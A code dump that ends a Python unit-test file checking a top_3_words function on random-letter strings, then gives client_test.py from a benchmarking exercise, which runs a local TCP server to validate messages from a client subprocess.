" "_RoDmwZA-?-,nyrSfNlVT-?__RoDmwZA,;!LVpg-ennyAhkDK:.xSL ?.; " "ennyAhkDK ,_:_RoDmwZA/-!.zLU'!njeWsouT.. " "-LVpg!!.:qPHx//njeWsouT??LVpg,,;.?zLU'??/zLU',;,nyrSfNlVT-:," "zLU'.,-.nyrSfNlVT:/LVpg_LVpg!; !njeWsouT " "nyrSfNlVT?;-nyrSfNlVT?!?,.zLU'_..LVpg-! " "?/njeWsouT;-Wzu?LVpg.njeWsouT-!," "jgsKpHGC;/!ZiWeGrFBj/;!.Wzu-.. " "RoDmwZA?-ennyAhkDK! .-zLU':--LVpg?;-njeWsouT_.zLU' " ";:?njeWsouT!/VFZzdF_:-nyrSfNlVT!:_nyrSfNlVT_?--/ZiWeGrFBj" ".;ennyAhkDK,;:-?nyrSfNlVT!LVpg;LVpg:,?; RoDmwZA;;!!xSL/:- " "ZiWeGrFBj ennyAhkDK;_VFZzdF?_!LVpg/.-._LVpg,;:nyrSfNlVT," ":_Wzu;"), ['nyrsfnlvt', 'lvpg', 'rodmwza']) def test_top_3_words_088(self): self.assertEqual(top_3_words( "LMTpEjbzqR./..cSGIyCur?--;.xCAyP,_ SeOGI?/.SeOGI?;__WlEevNPuX " "cSGIyCur !SeOGI._:," "pJHdm/?EbfkmZtxmc/;hkXFf/.cSGIyCur/WlEevNPuX/,," "odnQJh::.WlEevNPuX:!zfaOk?;.- xCAyP-.," ";EbfkmZtxmc?KsUV'nkU__:-_qyqyREZZiX!glfErRf//_-/zfaOk " "!-/pJHdm!cSGIyCur,.qyqyREZZiX/,, WlEevNPuX-LMTpEjbzqR:?," "WlEevNPuX::. cSGIyCur,LWnCTF-: :qyqyREZZiX , " "_:zfaOk_.-/:SeOGI-!_ixdKzcPXhn,WlEevNPuX??hkXFf- !," "!ovlS'qWmwv_:-LqO/?ovlS'qWmwv,, EbfkmZtxmc.?SeOGI;FGq/;SeOGI:," "EbfkmZtxmc-xCAyP;, ;," "EbfkmZtxmc-?glfErRf!.EbfkmZtxmc?ovlS'qWmwv " ",:-!qyqyREZZiX-WlEevNPuX:/;EbfkmZtxmc," "- WlEevNPuX:!:xCAyP;/.LqO?? -qyqyREZZiX.:.ovlS'qWmwv," "-?;/hkXFf:," "cSGIyCur.!zfaOk -KsUV'nkU_ovlS'qWmwv.;/;EbfkmZtxmc. .!LqO,," "xCAyP. KsUV'nkU/.;;;zfaOk! ;?:WlEevNPuX!,?;WlEevNPuX _ ! " "pJHdm;," "SeOGI,odnQJh,?, -cSGIyCur-zfaOk-/-EbfkmZtxmc_ LMTpEjbzqR;:;," "_EbfkmZtxmc_ :WlEevNPuX_,FGq !-_,LbqCJrh?hkXFf,!/,EbfkmZtxmc " ";..;glfErRf : ;-zfaOk?!, xCAyP_-LqO?/./WlEevNPuX,EbfkmZtxmc ! " "qyqyREZZiX_;.?_SeOGI--:EbfkmZtxmc_WlEevNPuX-.!,-SeOGI " "/cSGIyCur;:!:.odnQJh_-/hkXFf?-: ovlS'qWmwv-:qyqyREZZiX/.// " "zfaOk/?,:EbfkmZtxmc.__; zfaOk;_hkXFf-_!- " "cSGIyCur?ixdKzcPXhn:/_-:LqO/;:FGq:;/?ovlS'qWmwv;/zfaOk " "odnQJh/;cSGIyCur;LqO!;!?xCAyP,FGq:cSGIyCur;:?:/KsUV'nkU " "hkXFf_?_-pJHdm!:.- xCAyP,;?qyqyREZZiX?, SeOGI,SeOGI_;LqO!?? " "_ixdKzcPXhn?_-.SeOGI?-:zfaOk_hkXFf,-:!WlEevNPuX ::pJHdm-! " "ovlS'qWmwv!,_ KsUV'nkU_:WlEevNPuX ;odnQJh:qyqyREZZiX:_: ," "ixdKzcPXhn.pJHdm??_qyqyREZZiX?!!/-LWnCTF;::;/EbfkmZtxmc" ".?_WlEevNPuX,;_!qyqyREZZiX- ;WlEevNPuX-,_," "WlEevNPuX./SeOGI;qyqyREZZiX: EbfkmZtxmc_hkXFf;hkXFf_; " ".ixdKzcPXhn?; ;hkXFf.:SeOGI-! cSGIyCur? :??glfErRf-/ " ";.SeOGI.?/qyqyREZZiX-/zfaOk:_-;:zfaOk-zfaOk:.:,_SeOGI. " ":pJHdm!pJHdm_-/EbfkmZtxmc?;_/cSGIyCur..?ixdKzcPXhn ?/-," "KsUV'nkU.._!!SeOGI!,-hkXFf,,?cSGIyCur;_/!.EbfkmZtxmc?.! " "qyqyREZZiX. WlEevNPuX;_- qyqyREZZiX;:;LMTpEjbzqR," "! _?odnQJh:/-glfErRf .," "hkXFf.//-:ixdKzcPXhn_:EbfkmZtxmc__LbqCJrh.;," ":UKZwuv!/-odnQJh;;.! " "ovlS'qWmwv WlEevNPuX/:xCAyP!?,odnQJh!?,, LMTpEjbzqR," "/??EbfkmZtxmc?; ,-qyqyREZZiX .ovlS'qWmwv;;SeOGI?!_ " "/hkXFf._-KsUV'nkU:;UKZwuv-_!LqO.: LqO_;,cSGIyCur;zfaOk;-hkXFf " "-/_LqO.!:,EbfkmZtxmc-?pJHdm ?::LqO-_!EbfkmZtxmc?odnQJh " "hkXFf;LWnCTF,,.qyqyREZZiX.,zfaOk/qyqyREZZiX?. " "LMTpEjbzqR._odnQJh " "_;!glfErRf?:!!odnQJh?- :,hkXFf-;-!hkXFf._ _xCAyP-. " ";!cSGIyCur.//:UKZwuv:WlEevNPuX!:! /odnQJh.hkXFf.,-,/pJHdm?:," "?zfaOk;!_WlEevNPuX::;:!LqO!_;.LMTpEjbzqR-/!.:glfErRf" "/;;_cSGIyCur" "!zfaOk:.,!hkXFf;:KsUV'nkU;--,-hkXFf;:._-xCAyP:/ _pJHdm," "_!:LqO;. " "odnQJh.- LqO;UKZwuv../glfErRf!?;_glfErRf,/ixdKzcPXhn: " ";.hkXFf ,, " ".ovlS'qWmwv/ :hkXFf?.,ovlS'qWmwv!/-EbfkmZtxmc;:-_-FGq:glfErRf " "EbfkmZtxmc; .LqO;LqO /zfaOk;?;odnQJh_!:/;zfaOk/?ovlS'qWmwv?," ".EbfkmZtxmc.hkXFf/- ! qyqyREZZiX;;,qyqyREZZiX_- pJHdm.;.," "hkXFf.: " " WlEevNPuX,,WlEevNPuX:odnQJh,EbfkmZtxmc!-SeOGI:/,_LbqCJrh;:," "?-qyqyREZZiX!? /WlEevNPuX-pJHdm.--//ixdKzcPXhn? " "SeOGI;?::;FGq " ".cSGIyCur--/:LWnCTF?--_ixdKzcPXhn? " "ixdKzcPXhn-/_.FGq?-.;hkXFf " "._qyqyREZZiX,!WlEevNPuX/_,_ hkXFf?//xCAyP!glfErRf /hkXFf ," ";SeOGI:: . ixdKzcPXhn ," "/ ixdKzcPXhn-zfaOk!cSGIyCur;xCAyP;qyqyREZZiX- :,"), ['hkxff', 'wleevnpux', 'ebfkmztxmc']) def test_top_3_words_089(self): self.assertEqual(top_3_words( "obUnxqI? JSEmD:. -JSEmD:hGZdOHlnu.,;!:CRgjx liS!/YLda: " ".??zhfTVdIZU ;_?liS- !obUnxqI,, . YLda-.'qyZSx /__/tUca_," ":-?hGZdOHlnu!:YLda..obUnxqI:gevMAdOm_:,," "liS_?.!JSEmD-!/-?UBBTWOK " "!-,:gevMAdOm;ppf;-ppf?,hGZdOHlnu:liS " "_zhfTVdIZU;_ORzaoLDmIj!p'eVYKW'K-/-/UBBTWOK_!_,:gevMAdOm- ! " "obUnxqI/JSEmD!;JSEmD/_GAgn'RJiPX?/;gevMAdOm,:,:,obUnxqI _liS," "_.ESo ?tUca!_!'fO,.-_GAgn'RJiPX,;!._UBBTWOK,!ESo:.'qyZSx_," "/_ 'fO?YLda/!'fO,.gevMAdOm_?./hGZdOHlnu?!:?/UBBTWOK:? ,," "JSEmD-?obUnxqI/,!; hGZdOHlnu_;?," "zhfTVdIZU;'qyZSx!:_zhfTVdIZU:!;ESo!ESo,," "-_!YLda.zhfTVdIZU-!-.p'eVYKW'K::GAgn'RJiPX!_/tUca_/-!.UBBTWOK" ";-?,:'fO!:-p'eVYKW'K!;;..ppf !_ESo._'fO?," "obUnxqI-!JSEmD/-!!ppf_zhfTVdIZU? .liS_'fO? ," ";tUca?obUnxqI:gevMAdOm. ?_YLda,obUnxqI_,--.UBBTWOK," "?obUnxqI;_;-/JSEmD,liS?-!!JSEmD,-_p'eVYKW'K?:ESo " ":!ESo_-.hGZdOHlnu//! 'qyZSx;!/YLda:/__?gevMAdOm:_;;.ESo ," "- BTZ," "ppf/?_ .ppf/;, liS:__ESo?gevMAdOm,./ _ppf!.;;liS:_;," "hGZdOHlnu! " ";hGZdOHlnu!'qyZSx_?!;.YLda -_?JSEmD..hTh! _p'eVYKW'K, " "/ppf;liS:-!; gevMAdOm zhfTVdIZU/ /_p'eVYKW'K " "?:_ppf!/?BTZ;.obUnxqI;gevMAdOm.!_!;gevMAdOm-!-liS YLda.? " "YLda:./zhfTVdIZU,-.," "gevMAdOm_/--;zhfTVdIZU:GAgn'RJiPX_/zhfTVdIZU " "!hGZdOHlnu; !?JSEmD_'fO,;'fO?/_:;JSEmD_;obUnxqI!?!ppf " "-/tUca_-zhfTVdIZU_;tUca " "-YLda_/;JSEmD?JSEmD_!:;'fO.!_-gevMAdOm.;/.hGZdOHlnu! " "_?zhfTVdIZU?/UBBTWOK:,/," "UBBTWOK?/-zhfTVdIZU!!.__'qyZSx!_?;UBBTWOK/;:!hGZdOHlnu" "/obUnxqI " "-.:JSEmD/;YLda. _!ESo..?p'eVYKW'K!. ?!'fO-..'qyZSx::ppf:_ ESo," "'qyZSx:ESo/;!_liS-JSEmD//zhfTVdIZU__,UBBTWOK_:liS;-!; " "UBBTWOK-:?'fO- -hGZdOHlnu ?hGZdOHlnu:?tUca/ :gevMAdOm-/ESo; " ";;!JSEmD?/!:tUca.!.liS. /.UBBTWOK.-ppf /_.UBBTWOK/," "UBBTWOK?;._;ESo-,/'fO-p'eVYKW'K !-!liS:??/gevMAdOm__:./YLda?. " "!zhfTVdIZU--?: p'eVYKW'K/?-?-gevMAdOm?JSEmD..;.?JSEmD , " "_gevMAdOm/-,;:obUnxqI-,YLda!;? !'fO/zhfTVdIZU," "_gevMAdOm?:::liS_-JSEmD,,:_gevMAdOm/:?_ESo!._liS;,!_ppf-," "?;hGZdOHlnu:?/,!liS --?.obUnxqI_JSEmD ppf_ " "ppf/.?_!'fO:;-zhfTVdIZU:./ gevMAdOm_p'eVYKW'K,p'eVYKW'K," "?_GAgn'RJiPX!-?/.zhfTVdIZU !,_zhfTVdIZU!,-YLda-," "/obUnxqI/-;/:UBBTWOK UBBTWOK?,ppf-;/liS?,liS?:hGZdOHlnu. .ESo," ";zhfTVdIZU!-. obUnxqI!-obUnxqI;:?-;liS?gevMAdOm!,.gevMAdOm " "ESo.!!,JSEmD:obUnxqI_: .tUca- _,gevMAdOm;,zhfTVdIZU_," "!hGZdOHlnu_ESo/-/?!gevMAdOm_liS_!/?ESo.-ESo ?.,CRgjx?," "JSEmD/-ESo?::gevMAdOm!hGZdOHlnu-:JSEmD_?zhfTVdIZU ::!liS:," "gevMAdOm/! JSEmD-,!.JSEmD,ppf!!_:;liS," "!--obUnxqI_/;ORzaoLDmIj/_tUca! -_ORzaoLDmIj:'fO .," ";YLda;YLda,/:, " "'qyZSx__,:,JSEmD JSEmD-;GAgn'RJiPX !;YLda-obUnxqI/:?YLda," "_:_liS!/;YLda!, ?ESo_:!:'fO/ ?YLda ;!!JSEmD.UBBTWOK:./," "YLda.:?!_ESo.tUca, :,liS:;-_gevMAdOm!hTh_GAgn'RJiPX!:. " ":zhfTVdIZU. ?/_"), ['jsemd', 'gevmadom', 'lis']) def test_top_3_words_090(self): self.assertEqual(top_3_words( "xJQnkpUfO!GdzCgZg'TU!_! :GGV!_?!," "xJQnkpUfO.?/jremPlY?;YakaT;.!myKzn'Bx /,QpYfhvy?: " "/GGV!_wHAoizEq!?/._YakaT;_-QpYfhvy--;myKzn'Bx::jremPlY? " ";wHAoizEq; bOkg/-,QpYfhvy?.HLQouwWiM -,!YakaT-__jremPlY," "- -_GdzCgZg'TU//.- FygZme/;::YakaT GGV!GGV_?iLaKX:,,," "vWEmnQr'.?jremPlY:FygZme,jremPlY_ .;GGV_!QpYfhvy// " "-.myKzn'Bx:?!FygZme,YakaT jremPlY/-! ;xJQnkpUfO:/xJQnkpUfO " "myKzn'Bx: ;_ jremPlY./," "/vWEmnQr'_;_YakaT!-bOkg_POYIJy?:YakaT-FOhKq/GdzCgZg'TU" "/-HLQouwWiM! :.HLQouwWiM_;POYIJy!,FygZme-xJQnkpUfO? " "_HLQouwWiM!POYIJy ,/YakaT.,YakaT;/::,myKzn'Bx!,..FygZme," "jremPlY " ",:myKzn'Bx:?:xJQnkpUfO,; /.myKzn'Bx/YakaT-:jremPlY;wHAoizEq," "_;?xJQnkpUfO!!/!wHAoizEq!jremPlY?/bOkg!;.!_POYIJy. /myKzn'Bx " "GGV/!__FygZme,.FygZme,;_GGV-,.!.HLQouwWiM;-!jremPlY/ :, " "FygZme_;bOkg;-myKzn'Bx/ _iLaKX/ ,jremPlY,:.POYIJy," ".;?vWEmnQr':myKzn'Bx.;/FygZme.xJQnkpUfO. " "..myKzn'Bx_?-vWEmnQr';!/.!wHAoizEq!FygZme,iLaKX!!;--'bJmhMOw," "iLaKX GGV/__;_GGV_POYIJy//wHAoizEq,POYIJy," "GGV?jremPlY!bOkg;;.;/YakaT /:YakaT ,/. 'bJmhMOw " "..bOkg/-FOhKq!jremPlY,! _GGV! FygZme,./;jremPlY;?/HLQouwWiM:, " "HLQouwWiM::_ xJQnkpUfO_;;!'bJmhMOw_ " "POYIJy:HLQouwWiM/.jremPlY.;," "POYIJy.//_jremPlY..!HLQouwWiM-?jremPlY!-wHAoizEq?-_FygZme" "::!!?POYIJy/,/,:QpYfhvy//,/,GGV.HLQouwWiM: " "/vWEmnQr'_-.:-jremPlY:: QpYfhvy/ " "?vWEmnQr'!:FOhKq_myKzn'Bx::POYIJy:--HLQouwWiM.!HLQouwWiM_!!-," "GdzCgZg'TU;? POYIJy;..GGV .;/;jremPlY ,;.POYIJy," ";POYIJy--_YakaT/ " "FOhKq!,,vWEmnQr':POYIJy!: HLQouwWiM_GGV;;_POYIJy;FygZme?.," ":jremPlY.,:vWEmnQr'.,/_,vWEmnQr'_,?/:xJQnkpUfO-! " "POYIJy.._-?GGV:.;FOhKq/.-/jremPlY,! ;!xJQnkpUfO/!," "YakaT!wHAoizEq;FygZme/iLaKX;?YakaT//bOkg-,GGV!._-FygZme.;- ," "FygZme. HLQouwWiM :?.wHAoizEq-!;FOhKq ?bOkg ;:!/GGV .;-GGV;:-," "!YakaT!/FygZme/:!POYIJy!!:.?jremPlY ;?!;FygZme-!_GGV!?YakaT.," "-jremPlY_,:;,xJQnkpUfO? " "-QpYfhvy!!/HLQouwWiM!._FygZme_:_jremPlY.wHAoizEq-_.!:GGV," ";;YakaT/jremPlY;; " "jremPlY.:vWEmnQr'-YakaT_xJQnkpUfO:;wHAoizEq_-wHAoizEq" "._HLQouwWiM" "-jremPlY::/ .POYIJy;::HLQouwWiM!POYIJy?/ ?-vWEmnQr',:," "HLQouwWiM," ".!?bOkg?;bOkg.?/,,bOkg/;_GGV./ ,YakaT:/," "GGV;POYIJy:!_/_jremPlY. " "HLQouwWiM ;!! QpYfhvy-jremPlY,-:GdzCgZg'TU/?FygZme/?iLaKX " "YakaT/-;:POYIJy-__ HLQouwWiM/,?__HLQouwWiM:_;:POYIJy.?-," ";vWEmnQr'.;.iLaKX/myKzn'Bx?-/POYIJy:_::xJQnkpUfO?-.," ":myKzn'Bx! " "FygZme:;GGV-bOkg/FOhKq!/QpYfhvy/HLQouwWiM!-, POYIJy:.!:YakaT: " ":FygZme _: ?YakaT!/ HLQouwWiM;!myKzn'Bx!YakaT:;,/HLQouwWiM: " "GdzCgZg'TU?/?FygZme.,GGV!!FygZme..POYIJy," ";HLQouwWiM_?!?-FygZme!::. GGV?YakaT:,YakaT!_ :?iLaKX!! "), ['jremply', 'yakat', 'poyijy']) def test_top_3_words_091(self): self.assertEqual(top_3_words( "GQJGXOc?;pbpmRfrSB?-.!vejosAz;;,ZUBlJXHu," ":GQJGXOc.__DpJBUMr-/pbpmRfrSB./-,/PmXXNXqY_?. " "-GQJGXOc;!GQJGXOc/./lCxL.!ZUBlJXHu.,," ";CNU/!_.:vejosAz//!GQJGXOc " "ZUBlJXHu: PDhUfxJu ?:!PDhUfxJu.PDhUfxJu. " "ZUBlJXHu/:CNU:-./?GQJGXOc..DpJBUMr-huUsJEWdNu:," "ZUBlJXHu:!::PDhUfxJu-xsulOOuNwm!lCxL,.;sIKDhx-,DpJBUMr?," ";;GQJGXOc,-??;CNU " "_-huUsJEWdNu;PDhUfxJu//_pbpmRfrSB?::-xsulOOuNwm-!-:vejosAz! : " "PmXXNXqY_?DpJBUMr??!_-KOGDv?-/ PDhUfxJu. " "PDhUfxJu!vIOw!?PDhUfxJu_ .?,vejosAz?,.ZUBlJXHu: " "ZUBlJXHu;pbpmRfrSB?-:DpJBUMr_:CNU, DpJBUMr;;!PDhUfxJu," ";GQJGXOc-vejosAz_;PDhUfxJu?vejosAz/pbpmRfrSB/ ,/,pbpmRfrSB," "!:.PmXXNXqY DpJBUMr?,,_.lCxL.PDhUfxJu,-,?/PmXXNXqY_- " ":pbpmRfrSB;;/!.PDhUfxJu:: //DpJBUMr!:.vejosAz-??," ".lCxL-::?DpJBUMr:/:PDhUfxJu:_;GQJGXOc.:CNU:_PDhUfxJu-vejosAz" ";:/:-pbpmRfrSB- !:DpJBUMr- " "ZUBlJXHu_:PDhUfxJu:?:pbpmRfrSB:xsulOOuNwm?ZUBlJXHu :DpJBUMr--," "?:xsulOOuNwm,DpJBUMr;DpJBUMr-PmXXNXqY. .-ZUBlJXHu," "PDhUfxJu_CNU?:;!ZUBlJXHu?.-sIKDhx -ZUBlJXHu,:PDhUfxJu- " "CNU;--_:pbpmRfrSB-.-:.lCxL.!/ vIOw_- lCxL-.vIOw_-;KOGDv/," "/?PmXXNXqY _xsulOOuNwm/," "ZUBlJXHu--/ZUBlJXHu._GQJGXOc!-sIKDhx?_CNU--/.pbpmRfrSB!DpJBUMr" "?;!-sIKDhx/CNU:_PmXXNXqY:/!;pbpmRfrSB-GQJGXOc;:pbpmRfrSB" ".:DpJBUMr/-!//DpJBUMr--CNU? -GQJGXOc:,xsulOOuNwm-:_," "pbpmRfrSB/?-?-PDhUfxJu!pbpmRfrSB;;PDhUfxJu:/.PmXXNXqY-GQJGXOc" ".pbpmRfrSB!:/PDhUfxJu?/-CNU:vejosAz;-::;lCxL/:-;/GQJGXOc" "!ZUBlJXHu/--,;GQJGXOc;/,GQJGXOc,?:.pbpmRfrSB.vIOw:_!DpJBUMr?? " "PmXXNXqY/_-pbpmRfrSB!vIOw,-,.GQJGXOc;!;ZUBlJXHu,, " "?:huUsJEWdNu-?CNU?;?!PmXXNXqY;-vejosAz/;xsulOOuNwm:-PDhUfxJu" ";-:GQJGXOc, ./ZUBlJXHu! ! :pbpmRfrSB;vejosAz-PmXXNXqY_.!. " "vejosAz!,vejosAz_DpJBUMr. CNU::CNU;/,xsulOOuNwm; .?;pbpmRfrSB," "!PDhUfxJu/;-!!xsulOOuNwm/-/ xsulOOuNwm-: !/DpJBUMr ?/GQJGXOc/," "::vIOw;!:.-DpJBUMr::," "/!xsulOOuNwm.?.!PDhUfxJu?!?pbpmRfrSB_lCxL:vejosAz," ";?:_CNU:!/ZUBlJXHu/PDhUfxJu;,;-_DpJBUMr-,;. vejosAz?- ," "GQJGXOc," "/--ZUBlJXHu/? .PmXXNXqY! ZUBlJXHu?," ";!GQJGXOc;_._.GQJGXOc!PmXXNXqY_??-!vIOw," "PmXXNXqY!/_:pbpmRfrSB ," ";_ PDhUfxJu!.?/:PDhUfxJu?/; ,GQJGXOc;/ - pbpmRfrSB?," ":::DpJBUMr-," ".ZUBlJXHu_ ? KOGDv ,:!;ZUBlJXHu/!/!.vejosAz/;," "PDhUfxJu?CNU_!pbpmRfrSB?PDhUfxJu- ,lCxL.," ".GQJGXOc!:PDhUfxJu/?GQJGXOc:!lCxL.-CNU!. " "DpJBUMr;?-?ZUBlJXHu-_huUsJEWdNu/_,pbpmRfrSB?," ";vIOw.--vIOw:.:DpJBUMr .;KOGDv!-!;"), ['pdhufxju', 'gqjgxoc', 'pbpmrfrsb']) def test_top_3_words_092(self): self.assertEqual(top_3_words( "ocESE!xWMHlrWEpJ/xWMHlrWEpJ-_ !ocESE,," ";:.ocESE!i'EpNBAF;ocESE/ocESE?!xWMHlrWEpJ!,,," ".ocESE.xWMHlrWEpJ," "/;!_xWMHlrWEpJ:MvPb-?_;:ocESE :.,,MvPb?;../xWMHlrWEpJ;?,ocESE," "MvPb: ,_ocESE/;xWMHlrWEpJ_.xWMHlrWEpJ," "ocESE:.GnZCsfN/xWMHlrWEpJ," "..,ocESE:xWMHlrWEpJ,/_!;xWMHlrWEpJ!.xWMHlrWEpJ;//! " "xWMHlrWEpJ?.// ocESE_?- ocESE.?,!ocESE :;MvPb!,," "MvPb_xWMHlrWEpJ_-;MvPb,-;,_xWMHlrWEpJ;ocESE._,!," "ocESE;/;ocESE_, " "!xWMHlrWEpJ!/ ?ocESE;i'EpNBAF,.-xWMHlrWEpJ.. --xWMHlrWEpJ? " ";-"), ['ocese', 'xwmhlrwepj', 'mvpb']) def test_top_3_words_093(self): self.assertEqual(top_3_words( "SAinSjL!?_,.FEyeP,-FRNyfw/_," "::FEyeP-;_.FEyeP./kwQ-:Se'DY_/!.!kwQ!? MhOxYHfA?," "IZWv.FRNyfw.MhOxYHfA!/_UYZDD'Y .!UYZDD'Y? :!-kwQ:?!_/FEyeP_," ";!_kwQ ;;,MhOxYHfA/_SAinSjL_?:? " "kwQ;?;UYZDD'Y:!??MhOxYHfA/_FRNyfw " "MhOxYHfA??_IZWv;/-/MhOxYHfA/:FRNyfw-Se'DY ,!UYZDD'Y " ";!!.IZWv/MhOxYHfA/ ?-kwQ,_FRNyfw?-UYZDD'Y/-Se'DY," ";;MhOxYHfA/,_;_Se'DY_?_??kwQ,,_FEyeP:!?_!kwQ!../IZWv!!/_kwQ " ":FEyeP FEyeP:- -MhOxYHfA-:?_Se'DY-," "IZWv;_MhOxYHfA?Se'DY?-.;MhOxYHfA.?kwQ?kwQ:;:;;IZWv;.!FEyeP! " ":UYZDD'Y ::-.FRNyfw?!IZWv,._:kwQ ?FRNyfw!Se'DY ," ".zyTshqYzg/.FRNyfw_:..FEyeP;.:MhOxYHfA/- MhOxYHfA/,- ?kwQ-," "!UYZDD'Y:;.!-MhOxYHfA.:;;!kwQ /;?!UYZDD'Y _ " "FEyeP!_/FRNyfw:?,-,kwQ!FRNyfw_?FEyeP_-/,UYZDD'Y //," "-UYZDD'Y/;-!,kwQ.;,_lSx:/ Se'DY,;UYZDD'Y:...,kwQ ," "_;/FRNyfw:! :FRNyfw : ;FRNyfw_-?IZWv?;.kwQ/?Se'DY/_," "/Se'DY_.; /IZWv!_!//FRNyfw,!FEyeP/?/FEyeP!_- IZWv,-/;FRNyfw- " ";Se'DY IZWv;?!-;MhOxYHfA?,-FRNyfw/;:-UYZDD'Y-:?,," "rOgiqlWLFv:! ?_MhOxYHfA_/!/MhOxYHfA:!kwQ/;MhOxYHfA;--FRNyfw," ";IZWv-rOgiqlWLFv?UYZDD'Y /-!?UYZDD'Y_/.!FEyeP. -FRNyfw," "?:.;UYZDD'Y_:/;FRNyfw,,.:kwQ_;?;_UYZDD'Y.-?Se'DY /;IZWv," "!FRNyfw.?:.-lSx?kwQ,?FEyeP?.IZWv," "IZWv!!-MhOxYHfA_MhOxYHfA;IZWv;?;FRNyfw," "rOgiqlWLFv/!?_IZWv-_?.;SAinSjL_::kwQ:FRNyfw," "kwQ!:.FRNyfw;.?.KNZPJGKE!,MhOxYHfA ,," ":UYZDD'Y:;UYZDD'Y./-MhOxYHfA-,-kwQ, -:UYZDD'Y!/-.Se'DY,!:," "kwQ?kwQ:Se'DY!UYZDD'Y.!;?kwQ!_ " "/FRNyfw:;FRNyfw.?/?/FEyeP?!-?/kwQ?-!_kwQ!;FEyeP_,:-FEyeP," "FEyeP_./?_Se'DY _UYZDD'Y?:;?wDidaKzykh_?. FEyeP.!FEyeP," "FEyeP:FEyeP;,kwQ!;!;-wDidaKzykh./!:UYZDD'Y!!/?IZWv ," "FEyeP-;-?IZWv , ;-FEyeP//_/_FRNyfw :,,_IZWv:--:-FRNyfw " ";!-FRNyfw;Se'DY;.rOgiqlWLFv;!wDidaKzykh_?_:?IZWv," ":.? UYZDD'Y,/ ;UYZDD'Y,FEyeP,:!?FEyeP;? FEyeP_;:UYZDD'Y!_.! " "IZWv_FEyeP?:_;_FEyeP;FRNyfw/- :UYZDD'Y:?.MhOxYHfA./ " "-;FRNyfw/Se'DY-,//wDidaKzykh,-!-IZWv:UYZDD'Y!_MhOxYHfA,!"), ['feyep', 'frnyfw', 'kwq']) def
<reponame>rabbittsoup/distributed-benchmark-tool-exercise """client_test.py Runs a simple server to collect messages from client.py, which is started in a separate process with a known \ random run time, chunk size, and maximum file size. The messages received are then validated against the \ known data. A START message is expected first, and a STOP message is expected last. ALIVE and STATUS \ messages are tracked and must occur every 5s or 10s, respectively. File sizes and message data is validated \ for DATA messages. Usage: python client_test.py [option] Options and arguments: -p : port the client should use """ from __future__ import print_function import sys import getopt import os.path import time import socket import threading import SocketServer import random import subprocess import Queue import traceback import re class ValidationError(Exception): pass class Server(SocketServer.ThreadingTCPServer): def __init__(self, server_address): SocketServer.ThreadingTCPServer.__init__(self, server_address, Handler) self.messages = Queue.Queue() self.servethread = threading.Thread(target = self.serve_forever) def __enter__(self): self.servethread.start() return self def __exit__(self, type, value, traceback): # give servethread another chance by sleeping a tiny bit # unnecessary on macos, but it seems ubuntu would exit the client process # and shutdown the server before the last message was received by the server # not a problem in the real server since it doesn't issue a shutdown until # after the last message is actually processed time.sleep(0.001) self.shutdown() self.servethread.join() self.server_close() return False class Handler(SocketServer.StreamRequestHandler): def handle(self): # time stamp each message and save it in the queue message = self.rfile.readline().strip() self.server.messages.put((time.time(), message)) def main(argv): host = "localhost" port = 0 chunksize = random.randrange(10 * 1024**2, 20 * 1024**2) maxsize = random.randrange(chunksize, chunksize * 100) delete = True try: opts, args = getopt.getopt(argv[1:], "hp:", ["help"]) for o, a in opts: if (o == "-p"): port = int(a) elif (o in ("-h", "--help")): print(main.__doc__) return 2 else: raise getopt.GetoptError("option {} not recognized".format(o), o) except getopt.GetoptError as e: print(main.__doc__) for line in traceback.format_exception_only(type(e), e): print(line, end = '', file = sys.stderr) return 2 files = set() try: # convert to MB text for args chunksize = str(float(chunksize) / 1024**2) maxsize = str(float(maxsize) / 1024**2) with Server((host, port)) as server: port = server.server_address[1] # inconsistent write times can cause different mintimes between client runs while True: # run client with -t 0 option to get min run time clientp_args = [ 'python', 'client.py', '-t', '0', '-c', chunksize, '-m', maxsize, '-d', host, str(port), ] clientp = subprocess.Popen(clientp_args, stdout = subprocess.PIPE, stderr = subprocess.PIPE) stdout, stderr = clientp.communicate() if (clientp.returncode != 2): print("stdout") if (stdout): print(stdout, end = '') print("stdout") print("stderr") if (stderr): print(stderr, end = '') print("stderr") print("return code is {}".format(clientp.returncode)) raise ValidationError("expected return code 2") if (not stderr): print("stdout") if (stdout): print(stdout, end = '') print("stdout") print("stderr") if (stderr): print(stderr, end = '') print("stderr") raise ValidationError("expected stderr") # parse stderr to get min run time lines = stderr.splitlines() if (not lines[-1]): del lines[-1] try: ex = r"^ValueError:\s.*(?<=\s)(\d+)s\b" m = re.match(ex, lines[-1]) if (not m): raise ValidationError("expected match of {}".format(repr(ex))) mintime = int(m.group(1)) if (mintime == 0): mintime = 1 elif (mintime < 0): raise ValidationError("not expecting negative time") except ValidationError: print("stdout") if (stdout): print(stdout, end = '') print("stdout") print("stderr") if (stderr): print(stderr, end = '') print("stderr") print("stderr line {}: {}".format(len(lines) - 1, lines[-1])) raise # run client runtime = random.randrange(mintime * 2, mintime * 8) clientp_args = [ 'python', 'client.py', '-t', str(runtime), '-c', chunksize, '-m', maxsize, host, str(port), ] start = time.time() clientp = subprocess.Popen(clientp_args, stdout = subprocess.PIPE, stderr = subprocess.PIPE) stdout, stderr = clientp.communicate() end = time.time() # if we get a mintime error on this run, try again if (clientp.returncode == 2): lines = stderr.splitlines() if (not lines[-1]): del lines[-1] ex = r"^ValueError:\s.*(?<=\s)(\d+)s\b" if (re.match(ex, lines[-1])): print("mintime inconsistency, retrying") continue # move on break print("stdout") if (stdout): print(stdout, end = '') print("stdout") print("stderr") if (stderr): print(stderr, end = '') print("stderr") # check return code print("return code is {}".format(clientp.returncode)) if (clientp.returncode != 0): raise ValidationError("expected return code 0") if (stdout): raise ValidationError("not expecting stdout") if (stderr): raise ValidationError("not expecting stderr") print("run time was {:.3f}s".format(end - start)) # check run time, upper bound not always known since client makes sure 2 files are written if (runtime >= (end - start)): raise ValidationError("expected run time to be at least {}s".format(runtime)) runtime = end - start # convert from MB text for calculations chunksize = int(float(chunksize) * 1024**2) maxsize = int(float(maxsize) * 1024**2) messages = server.messages print("received {} messages".format(messages.qsize())) # START, STOP, >= 2 DATA x = 4 # ALIVE if (runtime >= 6): x += 1 # STATUS if (runtime >= 11): x += 1 if (messages.qsize() < x): raise ValidationError("expected at least {} messages".format(x)) # START should be first message t, message = messages.get() message = [message.strip() for message in message.split(":", 2)] print("message 1: {}".format(message)) if (len(message) != 3): raise ValidationError("expected 3 tokens") if (message[0] != str(clientp.pid)): raise ValidationError("expected 1st token to be {}".format(clientp.pid)) if (message[1] != "START"): raise ValidationError("expected 2nd token to be START") if (message[2] != repr((chunksize, maxsize))): raise ValidationError("expected 3rd 